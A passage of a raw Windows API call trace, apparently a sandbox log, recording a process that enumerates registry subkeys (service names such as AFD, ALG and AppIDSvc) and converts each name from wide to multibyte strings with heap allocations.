lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.966] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.967] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0235.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0235.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0235.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.971] 